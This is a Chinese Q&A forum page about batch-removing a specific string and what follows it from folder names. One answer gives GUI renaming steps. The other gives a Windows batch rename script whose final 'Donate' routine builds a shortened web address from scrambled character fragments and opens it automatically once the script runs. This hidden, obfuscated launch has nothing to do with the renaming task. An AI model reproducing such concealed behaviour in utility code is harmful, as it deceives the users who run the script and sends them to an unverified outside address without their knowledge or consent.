求bat批量删除文件夹名中的特定字符和后面的字符
发布网友
发布时间:2022-04-22 20:48
我来回答
共2个回答
热心网友
时间:2023-10-02 00:01
批量删去文件名中的特定文字或字符:
步骤1,安装软件后打开,点击【添加文件】按钮,将需要修改名称的文件全部添加到软件中,也可以通过将文件拖动到软件上的方式进行添加。
步骤2,接下来就是对软件进行设置的环节,如下图所示:命名方式选择“替换”;查找内容输入需要删除的文字或字符;替换内容什么都不用填写,留空。这时候我们在右边可以预览到新文件名已经删除了相同的文字。
步骤3,然后点击【开始重命名】红色按钮,启动软件程序。稍等片刻当软件提示“重命名成功”,说明软件完成批量删除文件名中相同文字的操作。
步骤4,最后检查这些文件,通过案例对比可以看出,新的文件名中完全删除了相同的文字
热心网友
时间:2023-10-02 00:02
@echo off & title 批量删除特定字符 By 依梦琴瑶
cd /d %~dp0
::脚本放在要处理的主文件夹内执行即可
call :Initialize
for /f "delims=" %%a in ('dir /ad/b *相册_*') do (
call :Operation "%%~a"
)
call :Revise "%Cache%"
echo, & echo 完成操作,请按任意键退出!
pause>nul
call :Donate
exit
:Operation
set "Dn=%~nx1"
set "Dn=%Dn:相册_=|%"
for /f "tokens=1 delims=|" %%i in ("%Dn%") do (
if exist "%%~i" (
call :Numbering "%~1" "%%~i"
) else (
if exist "%%~i1" (
call :Numbering "%~1" "%%~i"
) else (
echo 重新命名 "%~nx1" --^>^> "%%~i"
ren "%~1" "%%~i"
)
)
)
goto :eof
:Numbering
set "Num=1"
:Loop
set "N=%~2%Num%"
if exist "%N%" (
set /a Num+=1
goto Loop
)
echo 重新命名 "%~nx1" --^>^> "%N%"
ren "%~1" "%N%"
set /a Num+=1
(echo %Num%)>"%Cache%\%~2"
goto :eof
:Revise
for %%i in ("%~1\*") do (
set /p Ln=<"%%~i"
if exist "%%~nxi" (
call :Reren "%%~nxi" "%%~nxi%%Ln%%"
)
)
rd /s /q "%~1"
goto :eof
:Reren
echo 修正命名 "%~1" --^>^> "%~2"
ren "%~1" "%~2"
goto :eof
:Initialize
set "Cache=%tmp%\Wait_For_Correction"
if exist "%Cache%" rd /s /q "%Cache%" >nul 2>nul
md "%Cache%" >nul 2>nul
goto :eof
:Donate
set S0=fGRH
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
来自:求助得到的回答